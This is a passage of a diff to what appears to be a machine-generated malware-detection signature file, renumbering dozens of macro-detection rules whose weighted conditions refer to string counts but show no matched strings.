+325932,7 @@ rule _InfrastructureShared_23752{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23753{ +rule _InfrastructureShared_25039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -309451,7 +325946,7 @@ rule _InfrastructureShared_23753{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*8235+(#a_90_2 & 1)*11040+(#a_4f_3 & 1)*29285+(#a_49_4 & 1)*14882) >=1 } -rule _InfrastructureShared_23754{ +rule _InfrastructureShared_25040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 07 00 21 " @@ -309467,7 +325962,7 @@ rule _InfrastructureShared_23754{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*8746+(#a_69_2 & 1)*25939+(#a_39_3 & 1)*14962+(#a_20_4 & 1)*30821+(#a_73_5 & 1)*30254+(#a_02_6 & 1)*29248) >=1 } -rule _InfrastructureShared_23755{ +rule _InfrastructureShared_25041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -309479,7 +325974,7 @@ rule _InfrastructureShared_23755{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*27992+(#a_6a_2 & 1)*20325) >=3 } -rule _InfrastructureShared_23756{ +rule _InfrastructureShared_25042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -309491,7 +325986,7 @@ rule _InfrastructureShared_23756{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_44_2 & 1)*18688) >=3 } -rule _InfrastructureShared_23757{ +rule _InfrastructureShared_25043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -309503,7 +325998,7 @@ rule _InfrastructureShared_23757{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*8235+(#a_90_2 & 1)*12290) >=3 } -rule _InfrastructureShared_23758{ +rule _InfrastructureShared_25044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -309515,7 +326010,7 @@ rule _InfrastructureShared_23758{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_45_2 & 1)*14080) >=3 } -rule _InfrastructureShared_23759{ +rule _InfrastructureShared_25045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -309527,7 +326022,7 @@ rule _InfrastructureShared_23759{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*28674+(#a_02_2 & 1)*29504) >=3 } -rule _InfrastructureShared_23760{ +rule _InfrastructureShared_25046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -309539,7 +326034,7 @@ rule _InfrastructureShared_23760{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_90_2 & 1)*8194) >=3 } -rule _InfrastructureShared_23761{ +rule _InfrastructureShared_25047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -309552,7 +326047,7 @@ rule _InfrastructureShared_23761{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*17454+(#a_69_2 & 1)*24931+(#a_30_3 & 1)*-28621) >=4 } -rule _InfrastructureShared_23762{ +rule _InfrastructureShared_25048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -309565,7 +326060,7 @@ rule _InfrastructureShared_23762{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*12290+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1) >=4 } -rule _InfrastructureShared_23763{ +rule _InfrastructureShared_25049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -309578,7 +326073,7 @@ rule _InfrastructureShared_23763{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*16386+(#a_90_2 & 1)*11305+(#a_00_3 & 1)*4) >=4 } -rule _InfrastructureShared_23764{ +rule _InfrastructureShared_25050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -309591,7 +326086,7 @@ rule _InfrastructureShared_23764{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_3d_2 & 1)*13056+(#a_90_3 & 1)*31073) >=4 } -rule _InfrastructureShared_23765{ +rule _InfrastructureShared_25051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -309604,7 +326099,7 @@ rule _InfrastructureShared_23765{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*29557+(#a_29_2 & 1)*10537+(#a_53_3 & 1)*19747) >=4 } -rule _InfrastructureShared_23766{ +rule _InfrastructureShared_25052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 05 00 21 " @@ -309618,7 +326113,7 @@ rule _InfrastructureShared_23766{ ((#a_53_0 & 1)*19747+(#a_7a_1 & 1)*24922+(#a_20_2 & 1)*12290+(#a_90_3 & 1)*8736+(#a_65_4 & 1)*28777) >=4 } -rule _InfrastructureShared_23767{ +rule _InfrastructureShared_25053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 07 00 21 " @@ -309633,7 +326128,7 @@ rule _InfrastructureShared_23767{ ((#a_53_0 & 1)*19747+(#a_74_2 & 1)*28496+(#a_23_3 & 1)*8995+(#a_48_4 & 1)*8993+(#a_68_5 & 1)*290+(#a_65_6 & 1)*30068) >=5 } -rule _InfrastructureShared_23768{ +rule _InfrastructureShared_25054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -309650,7 +326145,7 @@ rule _InfrastructureShared_23768{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*8751+(#a_65_2 & 1)*21249+(#a_20_3 & 1)*16735+(#a_23_4 & 1)*9+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1) >=8 } -rule _InfrastructureShared_23769{ +rule _InfrastructureShared_25055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -309668,7 +326163,7 @@ rule _InfrastructureShared_23769{ ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*12602+(#a_30_2 & 1)*30770+(#a_30_3 & 1)*384+(#a_77_4 & 1)*17518+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1) >=9 } -rule _InfrastructureShared_23770{ +rule _InfrastructureShared_25056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 08 00 21 " @@ -309684,7 +326179,7 @@ rule _InfrastructureShared_23770{ ((#a_6f_0 & 1)*21539+(#a_01_1 & 1)*29811+(#a_2d_3 & 1)*29281+(#a_66_4 & 1)*16991+(#a_73_5 & 1)*26465+(#a_25_6 & 1)*-28640+(#a_6e_7 & 1)*5378) >=2 } -rule _InfrastructureShared_23771{ +rule _InfrastructureShared_25057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -309696,7 +326191,7 @@ rule _InfrastructureShared_23771{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*25454+(#a_54_2 & 1)*10355) >=3 } -rule _InfrastructureShared_23772{ +rule _InfrastructureShared_25058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -309708,7 +326203,7 @@ rule _InfrastructureShared_23772{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8234+(#a_65_2 & 1)*28777) >=3 } -rule _InfrastructureShared_23773{ +rule _InfrastructureShared_25059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -309721,7 +326216,7 @@ rule _InfrastructureShared_23773{ ((#a_53_0 & 1)*19747+(#a_53_1 & 1)*8230+(#a_72_3 & 1)*25964+(#a_2e_4 & 1)*27749) >=5 } -rule _InfrastructureShared_23774{ +rule _InfrastructureShared_25060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -309732,7 +326227,7 @@ rule _InfrastructureShared_23774{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*27745) >=1 } -rule _InfrastructureShared_23775{ +rule _InfrastructureShared_25061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -309745,7 +326240,7 @@ rule _InfrastructureShared_23775{ ((#a_53_0 & 1)*19747+(#a_29_1 & 1)*656+(#a_61_2 & 1)*26473+(#a_54_3 & 1)*18467) >=1 } -rule _InfrastructureShared_23776{ +rule _InfrastructureShared_25062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 06 00 21 " @@ -309760,7 +326255,7 @@ rule _InfrastructureShared_23776{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24942+(#a_53_2 & 1)*8744+(#a_02_3 & 1)*26944+(#a_20_4 & 1)*656+(#a_20_5 & 1)*8213) >=1 } -rule _InfrastructureShared_23777{ +rule _InfrastructureShared_25063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -309771,7 +326266,7 @@ rule _InfrastructureShared_23777{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290) >=2 } -rule _InfrastructureShared_23778{ +rule _InfrastructureShared_25064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -309783,7 +326278,7 @@ rule _InfrastructureShared_23778{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*8240+(#a_90_2 & 1)*8301) >=3 } -rule _InfrastructureShared_23779{ +rule _InfrastructureShared_25065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -309795,7 +326290,7 @@ rule _InfrastructureShared_23779{ ((#a_53_0 & 1)*19747+(#a_43_1 & 1)*9760+(#a_40_2 & 1)*-28553) >=3 } -rule _InfrastructureShared_23780{ +rule _InfrastructureShared_25066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -309807,7 +326302,7 @@ rule _InfrastructureShared_23780{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_22_2 & 1)*656) >=3 } -rule _InfrastructureShared_23781{ +rule _InfrastructureShared_25067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -309820,7 +326315,7 @@ rule _InfrastructureShared_23781{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_2b_2 & 1)*12288+(#a_02_3 & 1)*10276) >=4 } -rule _InfrastructureShared_23782{ +rule _InfrastructureShared_25068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -309834,7 +326329,7 @@ rule _InfrastructureShared_23782{ ((#a_53_0 & 1)*19747+(#a_5d_1 & 1)*8253+(#a_32_2 & 1)*23903+(#a_20_3 & 1)*-28632+(#a_2c_4 & 1)*656) >=5 } -rule _InfrastructureShared_23783{ +rule _InfrastructureShared_25069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 06 00 21 " @@ -309848,7 +326343,7 @@ rule _InfrastructureShared_23783{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*25960+(#a_6f_2 & 1)*29301+(#a_65_4 & 1)*26707+(#a_65_5 & 1)*28238) >=5 } -rule _InfrastructureShared_23784{ +rule _InfrastructureShared_25070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -309861,7 +326356,7 @@ rule _InfrastructureShared_23784{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*28238+(#a_6e_2 & 1)*21038+(#a_54_3 & 1)*8518) >=1 } -rule _InfrastructureShared_23785{ +rule _InfrastructureShared_25071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 02 00 21 " @@ -309872,7 +326367,7 @@ rule _InfrastructureShared_23785{ ((#a_53_0 & 1)*19747+(#a_5c_1 & 1)*26988) >=3 } -rule _InfrastructureShared_23786{ +rule _InfrastructureShared_25072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -309885,7 +326380,7 @@ rule _InfrastructureShared_23786{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*8235+(#a_90_2 & 1)*12290+(#a_70_3 & 1)*21612) >=4 } -rule _InfrastructureShared_23787{ +rule _InfrastructureShared_25073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -309897,7 +326392,7 @@ rule _InfrastructureShared_23787{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*28674+(#a_46_3 & 1)*9984) >=4 } -rule _InfrastructureShared_23788{ +rule _InfrastructureShared_25074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -309910,7 +326405,7 @@ rule _InfrastructureShared_23788{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_54_2 & 1)*30313+(#a_6e_3 & 1)*656) >=4 } -rule _InfrastructureShared_23789{ +rule _InfrastructureShared_25075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -309921,7 +326416,7 @@ rule _InfrastructureShared_23789{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*656) >=3 } -rule _InfrastructureShared_23790{ +rule _InfrastructureShared_25076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -309933,7 +326428,7 @@ rule _InfrastructureShared_23790{ ((#a_53_0 & 1)*19747+(#a_2c_1 & 1)*8236+(#a_90_2 & 1)*25972) >=3 } -rule _InfrastructureShared_23791{ +rule _InfrastructureShared_25077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -309946,7 +326441,7 @@ rule _InfrastructureShared_23791{ ((#a_53_0 & 1)*19747+(#a_3a_1 & 1)*656+(#a_28_2 & 1)*25185+(#a_00_3 & 1)*28261) >=4 } -rule _InfrastructureShared_23792{ +rule _InfrastructureShared_25078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -309960,7 +326455,7 @@ rule _InfrastructureShared_23792{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*21280+(#a_65_2 & 1)*30051+(#a_02_3 & 1)*17228+(#a_55_4 & 1)*27745) >=5 } -rule _InfrastructureShared_23793{ +rule _InfrastructureShared_25079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -309976,7 +326471,7 @@ rule _InfrastructureShared_23793{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*30050+(#a_00_2 & 1)*10344+(#a_75_3 & 1)*8192+(#a_74_4 & 1)*28277+(#a_54_5 & 1)*10545+(#a_65_6 & 1)*24933) >=7 } -rule _InfrastructureShared_23794{ +rule _InfrastructureShared_25080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 04 00 21 " @@ -309989,7 +326484,7 @@ rule _InfrastructureShared_23794{ ((#a_53_0 & 1)*19747+(#a_5c_1 & 1)*25378+(#a_20_2 & 1)*27764+(#a_41_3 & 1)*8448) >=2 } -rule _InfrastructureShared_23795{ +rule _InfrastructureShared_25081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310001,7 +326496,7 @@ rule _InfrastructureShared_23795{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*9731+(#a_20_2 & 1)*10799) >=3 } -rule _InfrastructureShared_23796{ +rule _InfrastructureShared_25082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310013,7 +326508,7 @@ rule _InfrastructureShared_23796{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*11040+(#a_02_2 & 1)*8235) >=3 } -rule _InfrastructureShared_23797{ +rule _InfrastructureShared_25083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310025,7 +326520,7 @@ rule _InfrastructureShared_23797{ ((#a_53_0 & 1)*19747+(#a_3d_1 & 1)*27450+(#a_02_2 & 1)*8765) >=3 } -rule _InfrastructureShared_23798{ +rule _InfrastructureShared_25084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -310037,7 +326532,7 @@ rule _InfrastructureShared_23798{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*656+(#a_46_3 & 1)*9984) >=4 } -rule _InfrastructureShared_23799{ +rule _InfrastructureShared_25085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -310052,7 +326547,7 @@ rule _InfrastructureShared_23799{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*15724+(#a_65_2 & 1)*25344+(#a_65_3 & 1)*29811+(#a_72_4 & 1)*29540+(#a_74_5 & 1)*25965) >=6 } -rule _InfrastructureShared_23800{ +rule _InfrastructureShared_25086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 05 00 21 " @@ -310066,7 +326561,7 @@ rule _InfrastructureShared_23800{ ((#a_46_0 & 1)*16675+(#a_22_1 & 1)*25135+(#a_64_2 & 1)*18530+(#a_6c_3 & 1)*25719+(#a_51_4 & 1)*16705) >=7 } -rule _InfrastructureShared_23801{ +rule _InfrastructureShared_25087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -310077,7 +326572,7 @@ rule _InfrastructureShared_23801{ ((#a_53_0 & 1)*19747+(#a_51_1 & 1)*16740) >=1 } -rule _InfrastructureShared_23802{ +rule _InfrastructureShared_25088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -310090,7 +326585,7 @@ rule _InfrastructureShared_23802{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*12079+(#a_61_2 & 1)*8236+(#a_03_3 & 1)*5) >=4 } -rule _InfrastructureShared_23803{ +rule _InfrastructureShared_25089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 05 00 21 " @@ -310104,7 +326599,7 @@ rule _InfrastructureShared_23803{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*37+(#a_64_2 & 1)*25458+(#a_90_3 & 1)*25449+(#a_28_4 & 1)*26988) >=6 } -rule _InfrastructureShared_23804{ +rule _InfrastructureShared_25090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -310118,7 +326613,7 @@ rule _InfrastructureShared_23804{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*25120+(#a_00_2 & 1)*27764+(#a_43_3 & 1)*15617+(#a_54_6 & 1)*18509) >=7 } -rule _InfrastructureShared_23805{ +rule _InfrastructureShared_25091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 06 00 21 " @@ -310133,7 +326628,7 @@ rule _InfrastructureShared_23805{ ((#a_53_0 & 1)*19747+(#a_63_1 & 1)*30054+(#a_63_2 & 1)*30054+(#a_22_3 & 1)*25700+(#a_65_4 & 1)*11621+(#a_73_5 & 1)*23610) >=9 } -rule _InfrastructureShared_23806{ +rule _InfrastructureShared_25092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310145,7 +326640,7 @@ rule _InfrastructureShared_23806{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*8736+(#a_73_2 & 1)*25971) >=3 } -rule _InfrastructureShared_23807{ +rule _InfrastructureShared_25093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310157,7 +326652,7 @@ rule _InfrastructureShared_23807{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_46_2 & 1)*19968) >=3 } -rule _InfrastructureShared_23808{ +rule _InfrastructureShared_25094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310169,7 +326664,7 @@ rule _InfrastructureShared_23808{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_6d_2 & 1)*29541) >=3 } -rule _InfrastructureShared_23809{ +rule _InfrastructureShared_25095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -310185,7 +326680,7 @@ rule _InfrastructureShared_23809{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*21280+(#a_20_2 & 1)*25939+(#a_20_3 & 1)*1282+(#a_20_4 & 1)*1282+(#a_00_5 & 1)*24932+(#a_22_6 & 1)*25959) >=7 } -rule _InfrastructureShared_23810{ +rule _InfrastructureShared_25096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -310195,7 +326690,7 @@ rule _InfrastructureShared_23810{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_23811{ +rule _InfrastructureShared_25097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -310209,7 +326704,7 @@ rule _InfrastructureShared_23811{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*25966+(#a_48_2 & 1)*8736+(#a_41_3 & 1)*8448+(#a_00_4 & 1)*21581) >=1 } -rule _InfrastructureShared_23812{ +rule _InfrastructureShared_25098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310221,7 +326716,7 @@ rule _InfrastructureShared_23812{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*12090+(#a_6c_2 & 1)*18031) >=3 } -rule _InfrastructureShared_23813{ +rule _InfrastructureShared_25099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310233,7 +326728,7 @@ rule _InfrastructureShared_23813{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_61_2 & 1)*29251) >=3 } -rule _InfrastructureShared_23814{ +rule _InfrastructureShared_25100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310245,7 +326740,7 @@ rule _InfrastructureShared_23814{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_20_2 & 1)*8226) >=3 } -rule _InfrastructureShared_23815{ +rule _InfrastructureShared_25101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310257,7 +326752,7 @@ rule _InfrastructureShared_23815{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_50_2 & 1)*26112) >=3 } -rule _InfrastructureShared_23816{ +rule _InfrastructureShared_25102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310269,7 +326764,7 @@ rule _InfrastructureShared_23816{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*656+(#a_72_2 & 1)*656) >=3 } -rule _InfrastructureShared_23817{ +rule _InfrastructureShared_25103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310281,7 +326776,7 @@ rule _InfrastructureShared_23817{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_50_2 & 1)*26112) >=3 } -rule _InfrastructureShared_23818{ +rule _InfrastructureShared_25104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -310295,7 +326790,7 @@ rule _InfrastructureShared_23818{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*11520+(#a_20_2 & 1)*28482+(#a_00_3 & 1)*122+(#a_45_4 & 1)*21063) >=5 } -rule _InfrastructureShared_23819{ +rule _InfrastructureShared_25105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -310309,7 +326804,7 @@ rule _InfrastructureShared_23819{ ((#a_53_0 & 1)*19747+(#a_47_1 & 1)*15674+(#a_47_2 & 1)*15725+(#a_75_3 & 1)*25938+(#a_22_4 & 1)*8808) >=5 } -rule _InfrastructureShared_23820{ +rule _InfrastructureShared_25106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -310320,7 +326815,7 @@ rule _InfrastructureShared_23820{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*9762) >=1 } -rule _InfrastructureShared_23821{ +rule _InfrastructureShared_25107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -310334,7 +326829,7 @@ rule _InfrastructureShared_23821{ ((#a_53_0 & 1)*19747+(#a_67_1 & 1)*9762+(#a_22_2 & 1)*8742+(#a_02_3 & 1)*12079+(#a_73_4 & 1)*29283) >=1 } -rule _InfrastructureShared_23822{ +rule _InfrastructureShared_25108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -310345,7 +326840,7 @@ rule _InfrastructureShared_23822{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*12340) >=2 } -rule _InfrastructureShared_23823{ +rule _InfrastructureShared_25109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310357,7 +326852,7 @@ rule _InfrastructureShared_23823{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*-28640+(#a_70_2 & 1)*-28638) >=3 } -rule _InfrastructureShared_23824{ +rule _InfrastructureShared_25110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310369,7 +326864,7 @@ rule _InfrastructureShared_23824{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_73_2 & 1)*21024) >=3 } -rule _InfrastructureShared_23825{ +rule _InfrastructureShared_25111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310381,7 +326876,7 @@ rule _InfrastructureShared_23825{ ((#a_53_0 & 1)*19747+(#a_26_1 & 1)*8769+(#a_00_2 & 1)*144) >=3 } -rule _InfrastructureShared_23826{ +rule _InfrastructureShared_25112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -310393,7 +326888,7 @@ rule _InfrastructureShared_23826{ ((#a_54_0 & 1)*18467+(#a_05_1 & 1)*23649+(#a_00_3 & 1)*-28928) >=4 } -rule _InfrastructureShared_23827{ +rule _InfrastructureShared_25113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -310406,7 +326901,7 @@ rule _InfrastructureShared_23827{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*16386+(#a_02_2 & 1)*29504+(#a_70_3 & 1)*28530) >=4 } -rule _InfrastructureShared_23828{ +rule _InfrastructureShared_25114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -310420,7 +326915,7 @@ rule _InfrastructureShared_23828{ ((#a_46_0 & 1)*16675+(#a_29_1 & 1)*13106+(#a_28_2 & 1)*26478+(#a_65_3 & 1)*26950+(#a_22_4 & 1)*656) >=5 } -rule _InfrastructureShared_23829{ +rule _InfrastructureShared_25115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -310434,7 +326929,7 @@ rule _InfrastructureShared_23829{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*11305+(#a_22_2 & 1)*11312+(#a_20_3 & 1)*12290+(#a_3a_4 & 1)*9216) >=5 } -rule _InfrastructureShared_23830{ +rule _InfrastructureShared_25116{ meta: description = 